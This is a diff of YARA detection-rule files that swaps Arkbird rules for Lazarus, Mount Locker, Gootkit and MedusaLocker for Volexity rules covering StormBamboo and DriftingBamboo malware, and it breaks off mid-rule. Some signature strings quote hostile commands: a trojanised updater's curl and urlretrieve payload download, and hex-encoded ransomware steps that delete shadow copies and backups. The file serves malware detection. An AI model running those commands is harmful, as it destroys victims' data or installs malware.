-		$s18 = "Found %d entries." fullword ascii
+		$s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii
+		$json1 = "base_json" ascii wide
+		$json2 = "down_json" ascii wide
+		$json3 = "upload_json" ascii wide
+		$json4 = "termin_json" ascii wide
+		$json5 = "request_json" ascii wide
+		$json6 = "online_json" ascii wide
+		$json7 = "work_json" ascii wide
+		$msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide
+		$msg2 = "pid %d is dead" ascii wide
+		$msg3 = "exit with code %d" ascii wide
+		$msg4 = "recv signal %d" ascii wide
+		$cmd1 = "ReadCmdQueue" ascii wide
+		$cmd2 = "read_cmd_server_timer" ascii wide
+		$cmd3 = "enableProxys" ascii wide
+		$cmd4 = "result_block" ascii wide
+		$cmd5 = "createDirLock" ascii wide
+		$cmd6 = "proxyLock" ascii wide
+		$cmd7 = "createDirTmpItem" ascii wide
+		$cmd8 = "dowfileLock" ascii wide
+		$cmd9 = "downFileTmpItem" ascii wide
+		$cmd10 = "filePathTmpItem" ascii wide
+		$cmd11 = "uploadItems" ascii wide
+		$cmd12 = "downItems" ascii wide
+		$cmd13 = "failUploadItems" ascii wide
+		$cmd14 = "failDownItems" ascii wide
+		$cmd15 = "downloadCmds" ascii wide
+		$cmd16 = "uploadFiles" ascii wide
+		$cmd17 = "bash callback...." ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and 14 of them
+		$s1 or 5 of ($json*) or 3 of ($msg*) or 9 of ($cmd*)
 }
+import "hash"
 import "pe"
 
-rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Keylog_June_2020_1 : FILE
+rule VOLEXITY_Apt_Malware_Win_Dustpan_Apihashes : STORMBAMBOO FILE
 {
 	meta:
-		description = "Detect keylog malware used by Lazarus APT"
-		author = "Arkbird_SOLG, James_inthe_box"
-		id = "dd6aae8c-76d1-514d-905e-21472eb9b9b2"
-		date = "2020-06-23"
-		modified = "2021-07-13"
-		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L33-L58"
-		license_url = "N/A"
-		logic_hash = "9a4e17903ad2a7c80651aa8f3d57876d1621be06ba7a683135b11929b232b2fa"
+		description = "Detects DUSTPAN malware using API hashes used to resolve functions at runtime."
+		author = "threatintel@volexity.com"
+		id = "ed275da4-cd95-5fa3-a568-e610fb405bb3"
+		date = "2023-08-17"
+		modified = "2024-08-02"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L173-L210"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "3edb66ade428c451c18aa152244f869f9f8c10e62ed942bf722b4d1cf1893e93"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2"
+		quality = 80
+		tags = "STORMBAMBOO, FILE"
+		hash1 = "b77bcfb036f5a6a3973fdd68f40c0bd0b19af1246688ca4b1f9db02f2055ef9d"
+		os = "win"
+		os_arch = "all"
+		report1 = "MAR-20230818"
+		report2 = "TIB-20231221"
+		scan_context = "file"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9591
+		version = 3
 
 	strings:
-		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\KeyLog_Win32_DllRelease.pdb" fullword ascii
-		$s2 = "CloseHandle KeyLogMutex failure! %d" fullword ascii
-		$s3 = "KeyLog_Win32_DllRelease.dll" fullword ascii
-		$s4 = "Key Log Mutex already created! %s\n" fullword ascii
-		$s5 = "Unable to GetProcAddress of GetAsyncKeyState" fullword ascii
-		$s6 = "KeyLogThread finished!" fullword ascii
-		$s7 = "KeyLogThread started!" fullword ascii
-		$s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
-		$s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
-		$s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
-		$s11 = "[END] KeyLogThread terminated!" fullword ascii
-		$s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
-		$s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
-		$s14 = "Entered Windows direcotry, skipping..." fullword ascii
-		$s15 = "Found %d entries." fullword ascii
+		$h1 = {9c 5b 9f 0b}
+		$h2 = {4c 8f 3e 08}
+		$h3 = {b4 aa f2 06}
+		$h4 = {dc cb ca 09}
+		$h5 = {d4 33 07 0e}
+		$h6 = {27 89 d6 0a}
+		$h7 = {b5 7d ae 09}
+		$h8 = {4e 64 eb 0b}
+		$h9 = {be 17 d9 08}
+		$magic = "SMHM"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and 11 of them
+		6 of ($h*) and $magic
 }
+import "hash"
 import "pe"
 
-rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Generic_June_2020_1 : FILE
+rule VOLEXITY_Apt_Malware_Win_Pocostick_Jul23 : STORMBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect stealers used by Lazarus APT by common strings"
-		author = "Arkbird_SOLG, James_inthe_box"
-		id = "11a7c531-91a4-524e-aa5d-c11538f7db58"
-		date = "2020-06-23"
-		modified = "2021-07-13"
-		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L60-L85"
-		license_url = "N/A"
-		logic_hash = "878e4a128b7de45f4940e7adccfeb376ce46e87b35b25e162f668303e9fd7852"
+		description = "Detects the July 2023 POCOSTICK variant. These strings are only visible in memory after several rounds of shellcode decryption."
+		author = "threatintel@volexity.com"
+		id = "9632a7fc-06da-58b4-b95c-b46aeb9dd41d"
+		date = "2023-07-24"
+		modified = "2024-08-02"
+		reference = "TIB-20231221"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L212-L241"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "19487db733c7f793be2a1287df32a165e46f6af0e940b13b389f4d675b5100c4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2"
-		hash2 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8"
+		quality = 80
+		tags = "STORMBAMBOO, FILE, MEMORY"
+		hash1 = "ec3e787c369ac4b28447e7cacc44d70a595e39d47f842bacb07d19b12cab6aad"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9542
+		version = 3
 
 	strings:
-		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease" fullword ascii
-		$s2 = "Mutex failure! %d" fullword ascii
-		$s3 = "Win32_DllRelease.dll" fullword ascii
-		$s4 = "Mutex already created! %s\n" fullword ascii
-		$s5 = "[END]" fullword ascii
-		$s6 = "Thread finished!" fullword ascii
-		$s7 = "Thread started!" fullword ascii
-		$s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
-		$s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
-		$s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
-		$s11 = "Thread terminated!" fullword ascii
-		$s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
-		$s13 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
-		$s14 = "Entered Windows direcotry, skipping..." fullword ascii
+		$str1 = "Folder PATH listing form volume" wide
+		$str2 = "Volume serial number is 0000-1111" wide
+		$str3 = "Type:Error" wide
+		$str4 = "Type:Desktop" wide
+		$str5 = "Type:Laptop" wide
+		$str6 = "Type:Vitual" wide
+		$str7 = ".unicode.tmp" wide
+		$str8 = "EveryOne" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and 11 of them
+		6 of them
 }
-rule ARKBIRD_SOLG_Ran_Mount_Locker_Nov_2020_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Py_Dustpan_Pyloader : STORMBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect Mount Locker ransomware (November 2020 variant)"
-		author = "Arkbird_SOLG"
-		id = "20fde6f4-ef7d-57c4-8cc2-a6ea810c2b0c"
-		date = "2020-11-20"
-		modified = "2020-11-22"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Mount Locker/Ran_Mount_Locker_Nov_2020_1.yar#L1-L26"
-		license_url = "N/A"
-		logic_hash = "028e89e9c0c46ac5c36fee5cbfba068b4c6c1f53aa224e454ebd358f2c6ae9a9"
+		description = "Detects Python script used by KPlayer to update, modified by attackers to download a malicious payload."
+		author = "threatintel@volexity.com"
+		id = "446d2eef-c60a-50ed-9ff1-df86b6210dff"
+		date = "2023-07-21"
+		modified = "2024-08-02"
+		reference = "TIB-20231221"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L243-L279"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "bb3a70dad28181534e27abbbd618165652c137264bfd3726ae4480c642493a3b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "e7c277aae66085f1e0c4789fe51cac50e3ea86d79c8a242ffc066ed0b0548037"
-		hash2 = "226a723ffb4a91d9950a8b266167c5b354ab0db1dc225578494917fe53867ef2"
+		quality = 80
+		tags = "STORMBAMBOO, FILE, MEMORY"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 9530
+		version = 4
 
 	strings:
-		$s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword wide
-		$s2 = "VBA6.DLL" fullword ascii
-		$s3 = "MSComDlg.CommonDialog" fullword ascii
-		$s4 = "DllFunctionCall" fullword ascii
-		$s5 = { 00 2a 00 5c 00 41 00 43 00 3a 00 5c [35-160] 00 2e 00 76 00 62 00 70 }
-		$s6 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\COMCTL32.oca" fullword wide
-		$s7 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\MSFLXGRD.oca" fullword ascii
-		$s8 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
-		$s9 = "SFLXGRD.OCX" fullword ascii
-		$s10 = "COMDLG32.OCX" fullword ascii
-		$s11 = "COMCTL32.OCX" fullword ascii
-		$seq1 = { 42 00 24 00 40 00 43 00 67 00 2f 00 44 00 08 00 4a 00 51 00 77 00 54 00 76 00 25 00 55 00 48 00 00 00 00 00 5d 00 4c 00 09 00 53 00 3e 00 73 00 62 00 52 00 50 00 0b 00 61 00 01 00 61 01 3a 00 03 00 57 00 4f 00 75 00 54 00 71 00 22 00 53 00 37 00 00 00 30 00 1d 00 46 00 5a 00 5c 00 48 00 78 00 63 00 02 00 1d 00 23 00 3b 00 28 00 55 00 73 00 28 00 61 00 3b 00 00 00 00 00 44 00 4e 00 4a 00 4d 00 61 00 40 00 59 00 2b 00 38 00 02 01 04 01 54 00 08 00 52 00 56 00 1d 00 42 00 3e 00 00 00 00 00 35 00 70 00 3b 00 37 00 6f 00 26 00 26 00 40 00 64 00 02 00 51 00 3c 00 41 00 16 00 3e 00 00 00 47 00 58 00 33 00 89 00 54 00 2d 00 29 00 50 00 04 00 59 00 5d 00 4f 00 1b 00 36 00 30 00 83 00 41 00 00 00 2a 00 54 00 47 00 86 00 56 00 19 00 24 00 4e 00 3a 00 45 00 51 00 4d 00 1e 00 3b 00 2b 00 81 00 35 00 00 00 3a 00 65 00 57 00 03 00 2d 00 62 00 53 }
-		$seq2 = { 5a 00 3d 00 14 00 51 00 1f 00 67 00 1c 00 24 00 00 00 00 00 00 00 6f 00 27 00 62 00 5d 00 6d 00 30 00 01 00 27 01 25 00 62 00 7b 00 05 00 56 00 24 00 3c 00 3d 00 5d 00 2e 00 62 00 03 00 0a 00 57 00 6a 00 02 00 5d 00 02 01 23 01 67 00 20 00 54 00 01 00 6c 01 17 00 0b 00 44 00 21 00 1e 00 01 00 52 01 60 00 3b 00 11 00 45 00 2a 00 59 00 2c 00 19 00 00 00 5a 00 1e 00 61 00 5c 00 6b 00 31 00 01 00 1a 01 2d 00 4a 00 6f 00 11 00 57 00 2c 00 3a 00 3a 00 50 00 2a 00 61 00 02 00 07 00 53 00 7b 00 01 01 5b 00 02 01 6a 01 0b 00 03 00 6d 00 43 00 0c 00 64 00 4d 00 44 00 5f 00 08 00 5a 00 68 00 2b 00 32 00 68 }
+		$s_1 = "def count_md5(src)"
+		$s_2 = "urllib.request.urlretrieve(image_url,main)"
+		$s_3 = "m1 != '4c8a326899272d2fe30e818181f6f67f'"
+		$s_4 = "os.path.split(os.path.realpath(__file__))[0]"
+		$s_5 = "r_v = os.system('curl '+ini_url+cc)"
+		$s_6 = "b41ef5f591226a0d5adce99cb2e629d8"
+		$s_7 = "1df495e7c85e59ad0de1b9e50912f8d0"
+		$s_8 = "tasklist | findstr mediainfo.exe"
+		$url_1 = "http://dl1.5kplayer.com/youtube/youtube_dl.png"
+		$url_2 = "http://dl1.5kplayer.com/youtube/youtube.ini?fire="
+		$path_1 = "C:\\\\ProgramData\\\\Digiarty\\\\mediainfo.exe"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 6 of ($s*) and 1 of ($seq*)
+		3 of ($s_*) or any of ($url_*) or $path_1
 }
-rule ARKBIRD_SOLG_Loa_JS_Gootkit_Nov_2020_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Win_Pocostick_B : STORMBAMBOO FILE
 {
 	meta:
-		description = "Detect JS loader used on the Gootkit killchain (November 2020)"
-		author = "Arkbird_SOLG"
-		id = "649133bd-a44c-5d99-befa-0508fed27ed8"
-		date = "2020-11-21"
-		modified = "2020-11-21"
-		reference = "https://twitter.com/ffforward/status/1330214661577437187"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-21/Gootkit/Loa_JS_Gootkit_Nov_2020_1.yar#L1-L16"
-		license_url = "N/A"
-		logic_hash = "f24d31e7107b8c59b969481596a5e1369933bf2b0fa5117cd1aa5f7ea116d8d5"
+		description = "Detects the POCOSTICK family, variant B."
+		author = "threatintel@volexity.com"
+		id = "2a8a455d-6b5c-53a7-aa5e-91d29efd3aa8"
+		date = "2020-07-08"
+		modified = "2024-08-02"
+		reference = "TIB-20231221"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L281-L312"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "1e81fb62cb57a3231642f66fee3e10d28a7c81637e4d6a03515f5b95654da585"
+		logic_hash = "a51e836425ec407706c7b2a4c21cc12398620c7dae6c9504a855f99e4b4d6ab2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "7aec3ed791529182c0f64ce34415c3c705a79f3d628cbcff70c34a9f73d8ff42"
+		quality = 80
+		tags = "STORMBAMBOO, FILE"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 1678
+		version = 6
 
 	strings:
-		$s1 = { 7b [4-6] 5b [4-6] 5d 28 [4-6] 5b [4-6] 5d 29 28 [4-6] 5b [4-6] 5d 29 3b 7d }
-		$s2 = { 7b 72 65 74 75 72 6e 20 [4-6] 20 25 20 28 [4-6] 2b [4-6] 29 3b 7d }
-		$s3 = { 7b [4-6] 20 3d 20 [4-6] 28 [4-6] 29 2e 73 70 6c 69 74 28 [4-6] 29 3b 7d }
-		$s4 = { 7b 72 65 74 75 72 6e 20 [4-6] 2e 63 68 61 72 41 74 28 [4-6] 29 3b 7d}
-		$s5 = { 7b [4-6] 5b [4-6] 5d 20 3d 20 [4-6] 5b [4-6] 5b [4-6] 5d 5d 3b 7d }
+		$a1 = "AVCAesUtil@@" ascii
+		$a2 = "AVencrypt_base@@" ascii
+		$a3 = "AVCCmdTarget@@" ascii
+		$a4 = "AVCWinThread@@" ascii
 
 	condition:
-		filesize >1KB and 2 of them
+		all of ($a*) or for any resource in pe.resources : (hash.sha256(resource.offset,resource.length)=="b098afd3657b956edbace77499e5e20414ab595a17ffc437b9dadc791eff1cfa" or hash.sha256(resource.offset,resource.length)=="2e53e960d45d657d8ba9929f6c8b34e90b2ae15b879768099474678dd1864f3b")
 }
-rule ARKBIRD_SOLG_RAN_Medusalocker_Aug_2021_1 : FILE
+import "hash"
+import "pe"
+
+rule VOLEXITY_Apt_Malware_Elf_Catchdns_Aug20_Memory : DRIFTINGBAMBOO FILE MEMORY
 {
 	meta:
-		description = "Detect MedusaLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "9e647371-b37a-53af-bfb6-cde72855b564"
-		date = "2021-08-08"
-		modified = "2021-08-08"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-08/medusalocker/RAN_MedusaLocker_Aug_2021_1.yara#L1-L29"
-		license_url = "N/A"
-		logic_hash = "40dd3ec16eefc59cb25c8855fb62cda1d642ec711226c1c964fd26384be7ef15"
+		description = "Looks for strings from CatchDNS component used to intercept and modify DNS responses, and likely also intercept/monitor http. This rule would only match against memory in the example file analyzed by Volexity."
+		author = "threatintel@volexity.com"
+		id = "95306735-cdae-5407-ad49-d465d245378d"
+		date = "2020-08-20"
+		modified = "2024-08-02"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-08-02 StormBamboo/rules.yar#L313-L387"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "4f3d35f4f8b810362cbd4c59bfe5a961e559fe5713c9478294ccb3af2d306515"
+		logic_hash = "a7d677d7eecf388df7e7c2343fd3e46188594473c01075bf8a0b54292a51db94"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "4f9a833e79092006c06203a66b41fc9250bcebcee148fea404db75d52035131c"
-		hash2 = "212e7f5ed4a581b4d778dfef226738c6db56b4b4006526259392d03062587887"
-		hash3 = "a25c0227728878c386ab6dba139976cb10e853dd3cd1eb3623f236ee8e1df212"
-		hash4 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc"
-		hash5 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad"
-		hash6 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31"
-		tlp = "white"
-		adversary = "RaaS"
+		quality = 55
+		tags = "DRIFTINGBAMBOO, FILE, MEMORY"
+		os = "linux"
+		os_arch = "all"
+		report1 = "MAR-20221222"
+		report2 = "TIB-20231221"
+		scan_context = "file,memory"
+		severity = "critical"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 227
+		version = 10
 
 	strings:
-		$s1 = "{8761ABBD-7F85-42EE-B272-A76179687C63}" fullword wide
-		$s2 = { 83 c4 08 8d 8d ?? fe ff ff e8 [2] ff ff 8d 8d ?? fe ff ff e8 [2] ff ff 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d [2] ff ff e8 [2] 00 00 8d 8d [2] ff ff 51 e8 ?? f9 ff ff 83 c4 04 88 85 2b ff ff ff 8d 8d [2] ff ff e8 [2] 00 00 0f b6 95 2b ff ff ff 85 d2 74 1e 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 33 c0 e9 [2] 00 00 8d 4d fa e8 [2] ff ff 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 8d 4d fa e8 [2] 01 00 0f b6 c0 85 c0 74 0c c7 85 ?? fe ff ff [2] 48 00 eb 0a c7 85 ?? fe ff ff [2] 48 00 8b 8d ?? fe ff ff 89 8d ?? fe ff ff 8d 95 ?? fe ff ff 52 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? f8 ff ff 8d 4d 8c e8 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff b9 [2] 4a 00 e8 [2] ff ff 50 e8 [2] ff ff 83 c4 04 50 8d 4d 8c e8 [2] 00 00 0f b6 c0 85 c0 75 41 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff e8 ?? c6 ff ff c7 85 ?? fe ff ff 00 00 00 00 8d 4d 8c e8 [2] 00 00 8d 4d fa e8 [2] ff ff 8b 85 ?? fe ff ff e9 [2] 00 00 68 [2] 48 00 8d 8d ?? ff ff ff e8 [2] ff ff 8b c8 e8 [2] ff ff 68 [2] 48 00 8d 8d ?? fe ff ff e8 [2] 00 00 8d 8d ?? fd ff ff 51 8d 4d 8c e8 [2] 00 00 50 e8 [2] ff ff 83 c4 04 50 8d 95 ?? fe ff ff 52 b9 [2] 4a 00 e8 [2] 00 00 0f b6 c0 85 c0 75 0c c7 85 ?? fe ff ff 01 00 00 00 eb 0a c7 85 ?? fe ff ff 00 00 00 00 8a 8d ?? fe ff ff 88 8d 2a ff ff ff 8d 8d ?? fd ff ff e8 [2] 00 00 8d 8d ?? fe ff ff }
-		$s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 }
-		$s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 }
-		$s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide
-		$s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f }
-		$s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 }
-		$s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 }
-		$s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 }
-		$s10 = { 33 c0 48 89 44 24 40 48 c7 44 24 48 07 00 00 00 66 89 44 24 30 44 8d 40 26 48 8d 15 [2] 09 00 48 8d 4c 24 30 e8 [2] ff ff 48 83 7c 24 40 00 74 42 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 b9 01 00 1f 00 ff 15 [2] 07 00 48 85 c0 75 1f 4c 8d 44 24 30 48 83 7c 24 48 08 4c 0f 43 44 24 30 33 d2 33 c9 ff 15 [2] 07 00 32 db eb 02 b3 01 48 8b 54 24 48 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 30 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 d3 00 00 00 e8 [2] 03 00 84 db 0f 85 ad 00 00 00 e8 3e 36 00 00 84 c0 75 05 e8 c5 36 00 00 e8 ?? 94 ff ff 48 8d 1d [2] 0d 00 48 8d 4c 24 30 e8 [2] ff ff 48 8b f8 48 8d 35 [2] 0d 00 0f 1f }
+		$os1 = "current thread policy=%d" ascii wide
+		$os2 = "OS_CreatShareMem %s-->%x" ascii wide
+		$os3 = "sem_open fail" ascii wide
+		$os4 = "int OS_GetCurRunPath(char*, int)" ascii wide
+		$os5 = "int OS_GetCurModName(char*, int)" ascii wide
+		$os6 = "int OS_StrToTime(char*, time_t*)" ascii wide
+		$os7 = "int OS_TimeToStr(time_t, char*)" ascii wide
+		$os8 = "int OS_TimeToStrYearMothDay(time_t, char*)" ascii wide
+		$os9 = "bool OS_Access(const char*)" ascii wide
+		$os10 = "int OS_Memicmp(const void*, const void*, unsigned int)" ascii wide
+		$os11 = "int OS_Mkdir(char*)" ascii wide
+		$os12 = "OS_ConnectSem" ascii wide
+		$msg1 = "client: last send packet iseq: %x, the ack :%x" ascii wide
+		$msg2 = "server: last send packet iseq: %x, the iseq :%x" ascii wide
+		$msg3 = "send packet failed!" ascii wide
+		$msg4 = "will hijack dns:%s, ip:%s " ascii wide
+		$msg5 = "dns send ok:%s" ascii wide
+		$msg6 = "tcp send ok" ascii wide
+		$msg7 = "FilePath:%s;" ascii wide
+		$msg8 = "Line:%d,Fun:%s,ErrorCode:%u;" ascii wide
+		$msg9 = "Description:%s;" ascii wide
+		$msg10 = "Line:%d,Fun:%s,ErrorCode:%u;" ascii wide
+		$msg11 = "get msg from ini is error" ascii wide
+		$msg12 = "on build eth send_msg or payload is null" ascii wide
+		$msg13 = "on build udp send_msg or payload is null" ascii wide
+		$conf1 = "%d.%d.%d.%d" ascii wide
+		$conf2 = "%s.tty" ascii wide
+		$conf3 = "dns.ini" ascii wide
+		$netw1 = "LISTEN_DEV" ascii wide
+		$netw2 = "SEND_DEV" ascii wide
+		$netw3 = "SERVER_IP" ascii wide
+		$netw4 = "DNSDomain" ascii wide
+		$netw5 = "IpLimit" ascii wide
+		$netw6 = "HttpConfig" ascii wide
+		$netw7 = "buildhead" ascii wide
+		$netw8 = "sendlimit" ascii wide
+		$netw9 = "content-type" ascii wide
+		$netw10 = "otherhead_" ascii wide
+		$netw11 = "configfile" ascii wide
+		$apache = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 53 65 72 76 65 72 3A 20 41 70 61 63 68 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 25 73 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A}
+		$cpp1 = "src/os.cpp"
+		$cpp2 = "src/test_catch_dns.cpp"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >150KB and 9 of ($s*)
+		9 of ($os*) or 3 of ($msg*) or all of ($conf*) or all of ($netw*) or $apache or all of ($cpp*)
 }
-rule ARKBIRD_SOLG_APT_APT38_Valeforbeta_Mar_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Powerstar_Persistence_Batch : CHARMINGKITTEN
 {
 	meta:
-		description = "Detect ValeforBeta used in attacks against Japanese organisations by APT38"
-		author = "Arkbird_SOLG"
-		id = "74a20725-3e52-5fef-9934-c812137dc989"
-		date = "2021-03-23"
